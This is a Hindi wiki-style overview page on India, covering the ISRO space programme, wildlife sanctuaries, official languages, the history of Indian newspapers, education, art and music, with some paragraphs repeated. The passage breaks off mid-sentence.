विकासशील अर्थव्‍यवस्‍था और उससे जुड़ी समस्‍याओं से घिरे होने के बावज़ूद भारत ने अंतरिक्ष प्रौद्योगिकी को प्रभावी ढंग से विकसित किया है और उसे अपने तीव्र विकास के लिए इस्‍तेमाल भी किया है तथा आज विश्‍व के अन्‍य देशों को विभिन्‍न अंतरिक्ष सेवाएं उपलब्‍ध करा रहा है। 1960 के दशक के प्रारंभिक वर्षों में अंतरिक्ष अनुसंधान की शुरूआत भारत में मुख्‍यत: साउंडिंग रॉकेटों की मदद से हुई। भारतीय अंतरिक्ष अनुसंधान संगठन (इसरो) की स्‍थापना 1969 में की गई। भारत सरकार द्वारा 1972 में 'अंतरिक्ष आयोग' और 'अंतरिक्ष विभाग' के गठन से अंतरिक्ष शोध गतिविधियों को अतिरिक्‍त गति प्राप्‍त हुई। 'इसरो' को अंतरिक्ष विभाग के नियंत्रण में रखा गया। भारतीय अंतरिक्ष कार्यक्रम के इतिहास में 70 का दशक प्रयोगात्‍मक युग था जिस दौरान 'आर्यभट्ट', 'भास्‍कर', 'रोहिणी' तथा 'एप्‍पल' जैसे प्रयोगात्‍मक उपग्रह कार्यक्रम चलाए गए। इन कार्यक्रमों की सफलता के बाद 80 का दशक संचालनात्‍मक युग बना जबकि 'इन्सेट' तथा 'आईआरएस' जैसे उपग्रह कार्यक्रम शुरू हुए। आज इन्सेट तथा आईआरएस इसरो के प्रमुख कार्यक्रम हैं।
 
अंतरिक्ष यान के स्‍वदेश में ही प्रक्षेपण के लिए भारत का मजबूत प्रक्षेपण यान कार्यक्रम है। यह अब इतना परिपक्‍व हो गया है कि प्रक्षेपण की सेवाएं अन्‍य देशों को भी उपलब्‍ध कराता है। इसरो की व्‍यावसायिक शाखा एंट्रिक्‍स, भारतीय अंतरिक्ष सेवाओं का विपणन विश्‍व भर में करती है। भारतीय अंतरिक्ष कार्यक्रम की खास विशेषता अंतरिक्ष में जाने वाले अन्‍य देशों, अंतरराष्ट्रीय संगठनों और विकासशील देशों के साथ प्रभावी सहयोग है।
 
*वर्ष 2005-06 में भारतीय अंतरिक्ष कार्यक्रम की सबसे प्रमुख उपलब्‍धि 'पीएसएलवीसी 6' का सफल प्रक्षेपण रही है।
 
*5 मई, 2005 को 'पोलर उपग्रह प्रक्षेपण यान' (पीएसएलवी-एफसी 6) की नौवीं उड़ान ने श्रीहरिकोटा के सतीश धवन अंतरिक्ष केंद्र (एसडीएससी) से सफलतापूर्वक दो उपग्रहों - 1560 कि.ग्रा. के कार्टोस्‍टार-1 तथा 42 कि.ग्रा. के हेमसेट को पूर्व-निर्धारित पोलर सन सिन्‍क्रोनन आर्बिट (एसएसओ) में पहुंचाया। लगातार सातवीं प्रक्षेपण सफलता के बाद पीएसएलवी-सी 6 की सफलता ने पीएसएलवी की विश्‍वसनीयता को आगे बढ़ाया तथा 600 कि.मी. ऊंचे पोलर एसएसओ में 1600 कि.ग्रा. भार तक के नीतभार को रखने की क्षमता को दर्शाया है।
 
*22 दिसंबर 2005 को इन्सेट-4ए का सफल प्रक्षेपण, जो कि भारत द्वारा अब तक बनाए गए सभी उपग्रहों में सबसे भारी तथा शक्‍तिशाली है, वर्ष 2005-06 की अन्‍य बड़ी उपलब्‍धि थी। 
 
*इन्सेट-4ए डाररेक्‍ट-टू-होम (डीटीएच) टेलीविजन प्रसारण सेवाएं प्रदान करने में सक्षम है।
 
*इसके अतिरिक्‍त, नौ ग्रामीण संसाधन केंद्रों (वीआरसीज) के दूसरे समूह की स्‍थापना करना अंतरिक्ष विभाग की वर्ष के दौरान महत्‍वपूर्ण मौजूदा पहल है। वीआरसी की धारणा ग्रामीण समुदायों की बदलती तथा महत्‍वपूर्ण आवश्‍यकताओं को पूरा करने के लिए अंतरिक्ष व्‍यवस्‍थाओं तथा अन्‍य आईटी औजारों से निकलने वाली विभिन्‍न प्रकार की जानकारी प्रदान करने के लिए संचार साधनों तथा भूमि अवलोकन उपग्रहों की क्षमताओं को संघटित करती है।
 
 
==पशु पक्षी जगत==
 
==पशु पक्षी जगत==
{{अभयारण्य सूची1}}
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{{Main|भारत में वन्य जीवन}}
[[चित्र:Tiger2.jpg|thumb|100px|left|राष्ट्रीय पशु बाघ]]
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वन्य जीवन प्रकृति की अमूल्य देन है। भविष्य में वन्य प्राणियों की समाप्ति की आशंका के कारण भारत में सर्वप्रथम 7 जुलाई, 1955 को वन्य प्राणी दिवस मनाया गया । यह भी निर्णय लिया गया कि प्रत्येक वर्ष दो अक्तूबर से पूरे सप्ताह तक वन्य प्राणी सप्ताह मनाया जाएगा। वर्ष 1956 से वन्य प्राणी सप्ताह मनाया जा रहा है। भारत के संरक्षण कार्यक्रम की आवश्यकताओं को पूरा करने के लिए एक मज़बूत संस्थागत ढांचे की रचना की गयी है।  
वन्य जीवन प्रकृति की अमूल्य देन है । भविष्य में वन्य प्राणियों की समाप्ति की आशंका के कारण भारत में सर्वप्रथम 7 जुलाई, 1955 को वन्य प्राणी दिवस मनाया गया । यह भी निर्णय लिया गया कि प्रत्येक वर्ष दो अक्तूबर से पूरे सप्ताह तक वन्य प्राणी सप्ताह मनाया जाएगा। वर्ष 1956 से वन्य प्राणी सप्ताह मनाया जा रहा है । भारत के संरक्षण कार्यक्रम की आवश्यकताओं को पूरा करने के लिए एक मजबूत संस्थागत ढांचे की रचना की गयी है । जूलॉजिकल सर्वे ऑफ इण्डिया, बोटेनिकल सर्वे आफ इण्डिया जैसी प्रमुख संस्थाओं तथा भारतीय वन्य जीवन संस्थान, भारतीय वन्य अनुसंधान एवं शिक्षा परिषद, इंदिरा गांधी राष्ट्रीय वन अकादमी तथा सलीम अली स्कूल ऑफ आरिन्थोलॉजी जैसे संस्थान वन्य जीवन संबंधी शिक्षा और अनुसंधान कार्य में लगे हैं ।
 
भारत कई प्रकार के जंगलों जीवों का, अनेक पेड़ पौधों और पशु-पक्षियों का घर है। शानदार हाथी, मोर का नाच, ऊँट की सैर, शेरों के पहाड़ सभी एक अनोखे अनुभव है। यहाँ के पशु पक्षियों को अपने प्राकृतिक निवासस्थान में देखना आनन्दायक है। भारत में जंगली जीवों को देखने पर्यटक आते हैं। यहाँ जंगली जीवों की बहुत बड़ी संख्या है। भारत में 70 से अधिक राष्ट्रीय उद्यान और 400 जंगली जीवों के अभ्यारण्य है और पक्षी अभ्यारण्य भी हैं।
 
[[चित्र:Sparrow-1.jpg|thumb|100px|left|गौरेया]]
 
प्रकृति प्रेमियों के लिए यह जंगल स्वर्ग है परन्तु अब यहाँ के कुछ जीव जैसे चीते, शेर, हाथी, बंगाल के शेर और साइबेरियन सारस अब खतरे में है। भारत की लम्बाई और चौडाई में फैला यह जंगल क्षेत्र, रणथम्भोर राष्ट्रीय उद्यान, राजस्थान से हज़ारी बाघ जंगली जीव अभ्यारण्य, बिहार से, हिमालय के जिम कोर्बेट राष्ट्रीय उद्यान, अन्डमान के छह राष्ट्रीय उद्यानों तक एक शानदार जंगल की सैर कर सकते है। हाथी, चीते, जंगली भैंस, हिरन, जंगली गधे एक सींध वाला गेंड़ा, साही, हिम चीते आदि जन्तु हिमालय में दिखने को मिलते है।
 
[[चित्र:Asian-Elephant.jpg|thumb|100px|left|हाथी]]
 
भारत में, विश्व के अस्सी, प्रतिशत एक सींग वाले गेंड़ों का निवास है। काज़ीरंगा खेल अभ्यारण्य गेंड़ों के लिए उपयुक्त निवास है और प्राकृतिक संस्थाओं के लिए और जंगली सैर करने वाले के लिए भी अच्छी जगह है। भारत के सोन चिड़िया और ब्लैक बक, करेश अभ्यारण्य में होते है। माधव राष्ट्रीय उद्यान में, जो शिवपुरी राष्ट्रीय उद्यान कहलाता था,जीवों का एक निवास है। कोर्बोट राष्ट्रीय उद्यान सबसे प्रसिद्ध है्। उत्तर भारत में जंगली जानवरों के पर्यटकों  के लिए अच्छी जगह है। ऐसे अभ्यारण्य और राष्ट्रीय उद्यान, पर्यटन को भारत में काफ़ी संख्या में हैं। भारत में शेरों की संख्या बहुत है। भारत का राष्ट्रीय पशु, शेर, तेजी और ताकत का चिन्ह है। भारत में बारह शेर निवास है। शाही बंगाल के शेर, सबसे शानदार जाति के पशुओं में से है। विश्व के साठ प्रतिशत शेरों की संख्या भारत में है।  मध्य प्रदेश, शेरों के निवास  की सबसे प्रसिद्ध जगह है। यहाँ बंगाल के शेर, चीतल, चीते, गौर, साम्भर और कई जीव देखने को मिलते है। {{अभयारण्य सूची2}}
 
भारत में जंगली जीवों के साथ-साथ, पक्षियों की भी संख्या अच्छी है। कई सौ जातियों के पक्षी भारत में मिलते है।  घना राष्ट्रीय उद्यान या भरतपुर पक्षी अभ्यारण्य जो राजस्थान में है, यहाँ पर घरेलू पक्षी और जमीन पर जीने वाले पक्षी भी है। पर्यटक कई देशों से आते है। दुधवा जंगली जीव अभ्यारण में  बंदर, गिद्ध और चील पक्षी भी है। अंडमान के निकोबर में कबूतर पाये जाते हैं।
 
====<u>भारत का वन्य जीवन</u>====
 
[[चित्र:Peacock-02.jpg|thumb|100px|left|मोर]]
 
*संसार में पौधों की 2,50,000 ज्ञात प्रजातियों में से 15,000 प्रजातियां भारत में मिलती हैं।
 
*इस प्रकार संसार में जीव-जन्तुओं की कुल 15 लाख प्रजातियों में से 75,000 प्रजातियां भारत में पाई जाती हैं।
 
*भारत में पक्षियों की 1,200 प्रजातियां और 900 उप-प्रजातियां पाई जाती हैं।
 
*भारत के सुविख्यात पक्षियों में बहुरंगी राष्ट्रीय पक्षी मोर उल्लेखनीय है।
 
*पांच फुट की ऊंचाई वाला भव्य सारस तथा संसार का दूसरा सबसे भारी पक्षी हुकना (सोहनचिड़िया) महत्त्वपूर्ण पक्षी हैं।
 
*संसार में प्रसिद्ध केवलादेव (भरतपुर) के राष्ट्रीय उद्यान में ढाई लाख पक्षियों का घर है।
 
 
==भारतीय भाषा परिवार==
 
==भारतीय भाषा परिवार==
[[भारत]] की मुख्य विशेषता यह है कि यहाँ विभिन्नता में एकता है। भारत में विभिन्नता का स्वरूप न केवल भौगोलिक है, बल्कि भाषायी तथा सांस्कृतिक भी है। एक रिपोर्ट के अनुसार भारत में 1652 मातृभाषायें प्रचलन में हैं, जबकि संविधान द्वारा 22 भाषाओं को राजभाषा की मान्यता प्रदान की गयी है। संविधान के अनुच्छेद 344 के अंतर्गत पहले केवल 15 भाषाओं को राजभाषा की मान्यता दी गयी थी, लेकिन 21वें संविधान संशोधन के द्वारा सिन्धी को तथा 71वाँ संविधान संशोधन द्वारा नेपाली, कोंकणी तथा मणिपुरी को भी राजभाषा का दर्जा प्रदान किया गया। बाद में 92वाँ संविधान संशोधन अधिनियम, 2003 के द्वारा संविधान की आठवीं अनुसूची में चार नई भाषाओं बोडो, डोगरी, मैथिली तथा संथाली को राजभाषा में शामिल कर लिया गया। इस प्रकार अब संविधान में 22 भाषाओं को राजभाषा का दर्जा प्रदान किया गया है। भारत में इन 22 भाषाओं को बोलने वाले लोगों की कुल संख्या लगभग 90% है। इन 22 भाषाओं के अतिरिक्त [[अंग्रेज़ी भाषा|अंग्रेज़ी]] भी सहायक राजभाषा है और यह [[मिजोरम]], [[नागालैण्ड]] तथा [[मेघालय]] की राजभाषा भी है। कुल मिलाकर भारत में 58 भाषाओं में स्कूलों में पढ़ायी की जाती है। संविधान की आठवीं अनुसूची में उन भाषाओं का उल्लेख किया गया है, जिन्हें राजभाषा की संज्ञा दी गई है।
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{{Main|भारतीय भाषाएँ}}
{{भारत के भाषा परिवार सूची1}}
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भारत की मुख्य विशेषता यह है कि यहाँ विभिन्नता में एकता है। भारत में विभिन्नता का स्वरूप न केवल भौगोलिक है, बल्कि भाषायी तथा सांस्कृतिक भी है। एक रिपोर्ट के अनुसार भारत में 1652 मातृभाषायें प्रचलन में हैं, जबकि संविधान द्वारा 22 भाषाओं को राजभाषा की मान्यता प्रदान की गयी है। संविधान के अनुच्छेद 344 के अंतर्गत पहले केवल 15 भाषाओं को राजभाषा की मान्यता दी गयी थी, लेकिन 21वें संविधान संशोधन के द्वारा [[सिन्धी भाषा|सिन्धी]] को तथा [[संविधान संशोधन- 71वाँ|71वाँ संविधान संशोधन]] द्वारा [[नेपाली भाषा|नेपाली]], [[कोंकणी भाषा|कोंकणी]] तथा [[मणिपुरी भाषा|मणिपुरी]] को भी [[राजभाषा]] का दर्जा प्रदान किया गया। बाद में [[संविधान संशोधन- 92वाँ|92वाँ संविधान संशोधन]] अधिनियम, 2003 के द्वारा संविधान की [[आठवीं अनुसूची]] में चार नई भाषाओं [[बोडो भाषा|बोडो]], [[डोगरी भाषा|डोगरी]], [[मैथिली भाषा|मैथिली]] तथा [[संथाली भाषा|संथाली]] को राजभाषा में शामिल कर लिया गया। इस प्रकार अब संविधान में 22 भाषाओं को राजभाषा का दर्जा प्रदान किया गया है।
 
 
====भारतीय भाषा सूची====
 
{{भारतीय भाषा सूची1}}
 
 
 
{{भाषा और लिपि}}
 
==समाचार-पत्रों का इतिहास==
 
{{समाचार पत्र सूची1}}
 
यूरोपीय लोगों के भारत में प्रवेश के साथ ही समाचारों एवं समाचार पत्रों के इतिहास की शुरुआत होती है। भारत में प्रिटिंग प्रेस लाने का श्रेय पुर्तगालियों को दिया जाता है। 1557 ई0 में गोवा के कुछ पादरी लोगों ने भारत की पहली पुस्तक छापी। 1684 ई0 में ईस्ट इण्डिया कम्पनी ने भी भारत में प्रिटिंग प्रेस (मुद्रणालय) की स्थापना की। भारत में पहला समाचार पत्र कम्पनी के एक असंतुष्ट सेवक वोल्ट्स ने 1766 ई0 में निकालने का प्रयास किया, पर वह असफल रहा। भारत में प्रथम समाचार-पत्र निकालने का श्रेय जेम्स आगस्टस हिक्की को मिला। उसने 1780 ई0 में बंगाल के गजट (Bangal Guzette) का प्रकाशन किया, किन्तु कम्पनी सरकार की आलोचना के कारण उसका प्रेस जब्त कर लिया गया। इस दौरान कुछ अन्य अंग्रेज़ी अख़बारों का प्रकाशन हुआ-बंगाल में कलकत्ता कैरियर, एशियाटिक मिरर, ओरिंयटल स्टार, मद्रास में मद्रास कैरियर, मद्रास गजट, बम्बई में हेराल्ड, बांबे गजट आदि। 1818 ई0 में ब्रिटिश व्यापारी जेम्स सिल्क बर्किघम ने 'कलकत्ता जनरल' का सम्पादन किया। बर्किघम ही वह पहला प्रकाशक था, जिसने प्रेस को जनता के प्रतिबिम्ब के स्वरूप में प्रस्तुत किया। प्रेस का आधुनिक रूप उसी की देन है।
 
 
 
हिक्की तथा बर्किघम का पत्रकारिता के इतिहास में महत्वपूर्ण स्थान है। इन दोनों ने तटस्थ पत्रकारिता एवं स्वतंत्र लेखन का उदाहरण प्रस्तुत कर पत्रकारों को पत्रकारिता की ओर आकर्षित किया।
 
पहला भारतीय अंग्रेज़ी समाचार-पत्र 1816 ई0 में गंगाधर भट्टाचार्य द्वारा बंगाल गजट नाम से निकाला गया। यह साप्ताहिक समाचार-पत्र था। 1818 ई0 में मार्शमैन के नेतृत्व में बंगाली भाषा में दिग्दर्शन मासिक पत्र प्रकाशित हुआ। यह अल्पकालिक सिद्ध हुआ। इसी समय मार्शमैन के सम्पादन में एक साप्ताहिक समाचार-पत्र समाचार दर्पण प्रकाशित किया गया। 1821 ई0 में बंगाली भाषा में साप्ताहिक समाचार पत्र संवाद कौमुदी का प्रकाशन हुआ। इस समाचार-पत्र का प्रबन्ध राजा राममोहन राय के हाथों में था। राजा राममोहन राय ने सामाजिक तथा धार्मिक विचारों के विरोधस्वरूप समाचार चन्द्रिका का मार्च, 1822 में प्रकाशन किया। इसके अतिरिक्त राय ने अप्रैल, 1822 में फ़ारसी भाषा में मिरातुल अख़बार एवं अंग्रेज़ी भाषा में ब्राह्मनिकल मैंगज़ीन का प्रकाशन किया।
 
 
 
समाचार-पत्र पर लगने वाले प्रतिबन्ध के अन्तर्गत 1799 ई0 में वेलेजली द्वारा पत्रों का पत्रेक्षण अधिनियम (The Censorship of the Press Act) और जॉन एडम्स द्वारा 1823 ई0 में अनुज्ञप्ति नियम लागू किये गये। एडम्स द्वारा समाचार पत्रों पर लगे प्रतिबन्ध के कारण राजा राममोहन राय का मिरातुल अख़बार बन्द हो गया। 1830 ई0 में राजा राममोहन राय द्वारा, द्वारकनाथ टैगोर एवं प्रसन्न कुमार टैगोर के प्रयासों से बंगाली भाषा में बंगदूत का प्रकाशन आरम्भ हुआ। बम्बई से 1831 ई0 में गुजराती भाषा में जामे जमशेद तथा 1851 ई0 में रास्त गौफ़्तार एवं अख़बारे सौदागर का प्रकाशन हुआ।
 
  
लार्ड विलियम बैटिंक प्रथम गवर्नर जनरल था, जिसने प्रेस की स्वतंत्रता के प्रति उदारवादी दृष्टिकाण अपनाया। कार्यवाहक गवर्नर जनरल चार्ल्स मेटकाफ ने 1823 ई0 के प्रतिबन्ध को हटाकर समाचार-पत्रों को मुक्ति दिलायी। इसे भारतीय समाचार-पत्रों का मुक्तिदाता भी कहा जाता है। मैकाले ने भी प्रेस की स्वतंत्रता का समर्थन किया। 1857-58 के विद्रोह के बाद भारत में समाचार पत्रों को भाषाई आधार के बजाय प्रजातीय आधार पर विभाजित किया गया। अंग्रेज़ी समाचार-पत्रों एवं भारतीय समाचार-पत्रों के दृष्टिकोण में अन्तर होता था। जहाँ अंग्रेज़ी समाचार-पत्रों को भारतीय समाचार-पत्रों की अपेक्षा ढेर सारी सुविधायें उपलब्ध थीं, वहीं भारतीय समाचार-पत्रों पर प्रतिबन्ध लगा था।
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==शिक्षा==
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{{Main|भारत में शिक्षा}}
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1911 में भारतीय जनगणना के समय साक्षरता को परिभाषित करते हुए कहा गया है कि "एक पत्र पढ़-लिखकर उसका उत्तर दे देने की योग्यता" साक्षरता है। भारत में लम्बे समय से लिखित भाषा का अस्तित्व है, किन्तु प्रत्यक्ष सूचना के अभाव के कारण इसका संतोषजनक विकास नहीं हुआ। [[हड़प्पा]] और [[मोहनजोदड़ो]] की लेखन चित्रलिपि तीन हज़ार वर्ष ईसा पूर्व और बाद की है। यद्यपि अभी तक इस लिपि को पढ़ा नहीं जा सका है, तथापि इससे यह स्पष्ट है कि भारतीयों के पास कई शताब्दियों पहले से ही एक लिखित भाषा थी और यहाँ के लोग पढ़ और लिख सकते थे। हड़प्पा और [[अशोक]] के काल के बीच में पन्द्रह सौ वर्षों का ऐसा समय रहा है, जिसमें की कोई लिखित प्रमाण नहीं मिलता। लेकिन [[पाणिनि]] ने उस समय भारतीयों के द्वारा बोली जाने वाली विभिन्न भाषाओं का उल्लेख किया है।
  
 
==भारतीय कला==
 
==भारतीय कला==
भारतीय कला अपनी प्राचीनता तथा विवधता के लिए विख्यात रही है। आज जिस रूप में 'कला' शब्द अत्यन्त व्यापक और बहुअर्थी हो गया है, प्राचीन काल में उसका एक छोटा हिस्सा भी न था। यदि ऐतिहासिक काल को छोड़ और पीछे प्रागैतिहासिक काल पर दृष्टि डाली जाए तो विभिन्न नदियों की घाटियों में पुरातत्वविदों को खुदाई में मिले असंख्य पाषाण उपकरण भारत के आदि मनुष्यों की कलात्मक प्रवृत्तियों के साक्षात प्रमाण हैं। पत्थर के टुकड़े को विभिन्न तकनीकों से विभिन्न प्रयोजनों के अनुरूप स्वरूप प्रदान किया जाता था। हस्तकुल्हाड़े, खुरचनी, छिद्रक, तक्षिणियाँ तथा बेधक आदि पाषाण-उपकरण सिर्फ़ उपयोगिता की दृष्टि से ही महत्वपूर्ण नहीं थे, बल्कि उनका कलात्मक पक्ष भी ध्यातव्य है। जैसे-जैसे मनुष्य सभ्य होता गया उसकी जीवन शैली के साथ-साथ उसका कला पक्ष भी मजबूत होता गया। जहाँ पर एक ओर मृदभांण्ड, भवन तथा अन्य उपयोगी सामानों के निर्माण में वृद्धि हुई वहीं पर दूसरी ओर आभूषण, मूर्ति कला, सील निर्माण, गुफ़ा चित्रकारी आदि का भी विकास होता गया। भारत के उत्तर-पश्चिमी भाग में विकसित सैंधव सभ्यता (हड़प्पा सभ्यता) भारत के इतिहास के प्रारम्भिक काल में ही कला की परिपक्वता का साक्षात् प्रमाण है। खुदाई में लगभग 1,000 केन्द्रों से प्राप्त इस सभ्यता के अवशेषों में अनेक ऐसे तथ्य सामने आये हैं, जिनको देखकर बरबर ही मन यह मानने का बाध्य हो जाता है कि हमारे पूर्वज सचमुच उच्च कोटि के कलाकार थे।  
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{{Main|भारतीय कला}}
{{भारतीय धरोहर सूची1}}
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भारतीय कला अपनी प्राचीनता तथा विविधता के लिए विख्यात रही है। आज जिस रूप में '[[कला]]' शब्द अत्यन्त व्यापक और बहुअर्थी हो गया है, प्राचीन काल में उसका एक छोटा हिस्सा भी न था। यदि ऐतिहासिक काल को छोड़ और पीछे प्रागैतिहासिक काल पर दृष्टि डाली जाए तो विभिन्न नदियों की घाटियों में पुरातत्त्वविदों को खुदाई में मिले असंख्य पाषाण उपकरण भारत के आदि मनुष्यों की कलात्मक प्रवृत्तियों के साक्षात प्रमाण हैं। पत्थर के टुकड़े को विभिन्न तकनीकों से विभिन्न प्रयोजनों के अनुरूप स्वरूप प्रदान किया जाता था।  
ऐतिहासिक काल में भारतीय कला में और भी परिपक्वता आई। मौर्य काल, कुषाण काल और फिर गुप्त काल में भारतीय कला निरन्तर प्रगति करती गई। अशोक के विभिन्न शिलालेख, स्तम्भलेख और स्तम्भ कलात्मक दृष्टि से अत्यन्त महत्वपूर्ण हैं। सारनाथ स्थित अशोक स्तम्भ और उसके चार सिंह व धर्म चक्र युक्त शीर्ष भारतीय कला का उत्कृष्ट नमूना है। कुषाण काल में विकसित गांधार और मथुरा कलाओं की श्रेष्ठता जगजाहिर है। गुप्त काल सिर्फ़ राजनैतिक और आर्थिक दृष्टि से ही सम्पन्न नहीं था, कलात्मक दृष्टि से भी वह अत्यन्त सम्पन्न था। तभी तो इतिहासकारों ने उसे प्राचीन भारतीय इतिहास का 'स्वर्ण युग' कहा है। पूर्व मध्ययुग में निर्मित विशालकाय मन्दिर, क़िले तथा मूर्तियाँ तथा उत्तर मध्ययुग के इस्लामिक तथा भारतीय कला के संगम से युक्त अनेक भवन, चित्र तथा अन्य कलात्मक वस्तुएँ भारतीय कला की अमूल्य धरोहर हैं। आधुनिक युग में भारतीय कला पर पाश्चात्य कला का प्रभाव पड़ा। उसकी विषय वस्तु, प्रस्तुतीकरण के तरीक़े तथा भावाभिव्यक्ति में विविधता एवं जटिलता आई। आधुनिक कला अपने कलात्मक पक्ष के साथ-साथ उपयोगिता पक्ष को भी साथ लेकर चल रही है। यद्यपि भारत के दीर्घकालिक इतिहास में कई ऐसे काल भी आये, जबकि कला का ह्रास होने लगा, अथवा वह अपने मार्ग से भटकती प्रतीत हुई, परन्तु सामान्य तौर पर यह देखा गया कि भारतीय जनमानस कला को अपने जीवन का एक अंश मानकर चला है। वह कला का विकास और निर्माण नहीं करता, बल्कि कला को जीता है। उसकी जीवन शैली और जीवन का हर कार्य कला से परिपूर्ण है। यदि एक सामान्य भारतीय की जीवनचर्या का अध्ययन किया जाय तो, स्पष्ट होता है कि उसके जीवन का हर एक पहलू कला से परिपूर्ण है। जीवन के दैनिक क्रिया-कलापों के बीच उसके पूजा-पाठ, उत्सव, पर्व-त्यौहार, शादी-विवाह या अन्य घटनाओं से विविध कलाओं का घनिष्ट सम्बन्ध है। इसीलिए भारत की चर्चा तब तक अपूर्ण मानी जाएगी, जब तक की उसके कला पक्ष को शामिल न किया जाय। प्राचीन भारतीय ग्रन्थों में 64 कलाओं का उल्लेख मिलता है, जिनका ज्ञान प्रत्येक सुसंस्कृत नागरिक के लिए अनिवार्य समझा जाता था। इसीलिए भर्तृहरि ने तो यहाँ तक कह डाला 'साहित्य, संगीत, कला विहीनः साक्षात् पशुः पुच्छविषाणहीनः।' अर्थात् साहित्य, संगीत और कला से विहीन व्यक्ति पशु के समान है।
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====भारतीय संगीत====
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{{Main|संगीत}}
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संगीत मानवीय लय एवं तालबद्ध अभिव्यक्ति है। भारतीय संगीत अपनी मधुरता, लयबद्धता तथा विविधता के लिए जाना जाता है। वर्तमान भारतीय संगीत का जो रूप दृष्टिगत होता है, वह आधुनिक [[युग]] की प्रस्तुति नहीं है, बल्कि यह [[भारतीय इतिहास]] के प्रासम्भ के साथ ही जुड़ा हुआ है। [[वैदिक काल]] में ही भारतीय संगीत के बीज पड़ चुके थे। [[सामवेद]] उन वैदिक ॠचाओं का संग्रह मात्र है, जो गेय हैं। प्राचीन काल से ही ईश्वर आराधना हेतु भजनों के प्रयोग की परम्परा रही है। यहाँ तक की यज्ञादि के अवसर पर भी समूहगान होते थे।
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भारत में नृत्य की अनेक शैलियाँ हैं। [[भरतनाट्यम]], [[ओडिसी]], [[कुचिपुड़ी]], [[कथकली]], [[मणिपुरी]], [[कथक]] आदि परंपरागत नृत्य शैलियाँ हैं तो [[भंगड़ा]], [[गिद्दा]], नगा, [[बिहू नृत्य|बिहू]] आदि लोक प्रचलित नृत्य है। ये नृत्य शैलियाँ पूरे देश में विख्यात है। [[गुजरात]] का [[गरबा नृत्य|गरबा]] [[हरियाणा]] में भी मंचो की शोभा को बढ़ाता है और [[पंजाब]] का [[भंगड़ा]] [[दक्षिण भारत]] में भी बड़े शौक़ से देखा जाता है। भारत के संगीत को विकसित करने में [[अमीर ख़ुसरो]], [[तानसेन]], [[बैजू बावरा]] जैसे संगीतकारों का विशेष योगदान रहा है। आज भारत के संगीत-क्षितिज पर [[बिस्मिल्ला ख़ाँ‎]], [[ज़ाकिर हुसैन]], [[रवि शंकर]] समान रूप से सम्मानित हैं।
  
'कला' शब्द की उत्पत्ति कल् धातु में अच् तथा टापू प्रत्यय लगाने से हुई है (कल्+अच्+टापू), जिसके कई अर्थ हैं—शोभा, अलंकरण, किसी वस्तु का छोटा अंश या चन्द्रमा का सोलहवां अंश आदि। वर्तमान में कला को अंग्रेज़ी के 'आर्ट' (Art) शब्द का उपयोग समझा जाता है, जिसे पाँच विधाओं—संगीतकला, मूर्तिकला, चित्रकला, वास्तुकला और काव्यकला में वर्गीकृत किया जाता है। इन पाँचों को सम्मिलित रूप से ललित कलाएँ (Fine Arts) कहा जाता है। वास्वत में कला मानवा मस्तिष्क एवं आत्मा की उच्चतम एवं प्रखरतम कल्पना व भावों की अभिव्यक्ति ही है, इसीलिए कलायुक्त कोई भी वस्तु बरबस ही संसार का ध्यान अपनी ओर आकृष्ट कर लेती है। साथ ही वह उन्हें प्रसन्नचित्त एवं आहलादित भी कर देती है। वास्तव में यह कलाएँ व्यक्ति की आत्मा को झंझोड़ने की क्षमता रखती हैं। यह उक्ति की भारतीय संगीत में वह जादू था कि दीपक राग के गायन से दीपक प्रज्जवलित हो जाता था तथा पशु-पक्षी अपनी सुध-बुध खो बैठते थे, कितना सत्य है, यह कहना तो कठिन है, लेकिन इतना तो सत्य है कि भारतीय संगीत या कला का हर पक्ष इतना सशक्त है कि संवेदनविहीन व्यक्ति में भी वह संवेदना के तीव्र उद्वेग को उत्पन्न कर सकता है।
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==संस्कृति==
 
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{{Main|भारतीय संस्कृति}}
====<u>भारतीय संगीत</u>====
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त्योहार और मेले भारतीय संस्कृति के अभिन्न अंग हैं। यह भी कह सकते हैं कि भारतीय संस्कृति अपने हृदय के माधुर्य को त्योहार और मेलों में व्यक्त करती है, तो अधिक सार्थक होगा। भारतीय संस्कृति प्रेम, सौहार्द्र, करुणा, मैत्री, दया और उदारता जैसे मानवीय गुणों से परिपूर्ण है। यह उल्लास, उत्साह और विकास को एक साथ समेटे हुए है। आनन्द और माधुर्य तो जैसे इसके प्राण हैं। यहाँ हर कार्य आनन्द के साथ शुरू होता है और माधुर्य के साथ सम्पन्न होता है। भारत जैसे विशाल धर्मप्राण देश में आस्था और विश्वास के साथ मिल कर यही आनन्द और उल्लास त्योहार और मेलों में फूट पड़ता है। त्योहार और मेले हमारी धार्मिक आस्थाओं, सामाजिक परम्पराओं और आर्थिक आवश्यकताओं की त्रिवेणी है, जिनमें समूचा जनमानस भावविभोर होकर गोते लगाता है।  
{{वाद्य यंत्र सूची1}}
 
संगीत मानवीय  लय एवं तालबद्ध अभिव्यक्ति है। भारतीय संगीत अपनी मधुरता, लयबद्धता तथा विविधता के लिए जाना जाता है। वर्तमान भारतीय संगीत का जो रूप दृष्टिगत होता है, वह आधुनिक युग की प्रस्तुति नहीं है, बल्कि यह भारतीय इतिहास के प्रासम्भ के साथ ही जुड़ा हुआ है। बैदिक काल में ही भारतीय संगीत के बीज पड़ चुके थे। सामवेद उन वैदिक ॠचाओं का संग्रह मात्र है, जो गेय हैं। प्राचीन काल से ही ईश्वर आराधना हेतु भजनों के प्रयोग की परम्परा रही है। यहाँ तक की यज्ञादि के अवसर पर भी समूहगान होते थे।
 
====भारतीय संगीत की उत्पत्ति====
 
भारतीय संगीत की उत्पत्ति वेदों से मानी जाती है। वादों का मूल मंत्र है - 'ऊँ' (ओऽम्) । (ओऽम्) शब्द में तीन अक्षर अ, उ तथा म् सम्मिलित हैं, जो क्रमशः ब्रह्मा अर्थात् सृष्टिकर्ता, विष्णु अर्थात् जगत् पालक और महेश अर्थात् संहारक की शक्तियों के द्योतक हैं। इन तीनों अक्षरों को ॠग्वेद, सामवेद तथा यजुर्वेद से लिया गया है। संगीत के सात स्वर षड़ज (सा), ॠषभ (र), गांधार (गा) आदि वास्तव में ऊँ (ओऽम्) या ओंकार के ही अन्तविर्भाग हैं। साथ ही स्वर तथा शब्द की उत्पत्ति भी ऊँ के गर्भ से ही हुई है। मुख से उच्चारित शब्द ही संगीत में नाद का रूप धारण कर लेता है। इस प्रकार 'ऊँ' को ही संगीत का जगत माना जाता है। इसीलिए कहा जाता है कि जो साधक 'ऊँ' की साधना करने में समर्थ होता है, वही संगीत को यथार्थ रूप में ग्रहण कर सकता है। यदि दार्शनिक दृष्टि से इसका गूढ़ार्थ निकाला जाय, तो इसका 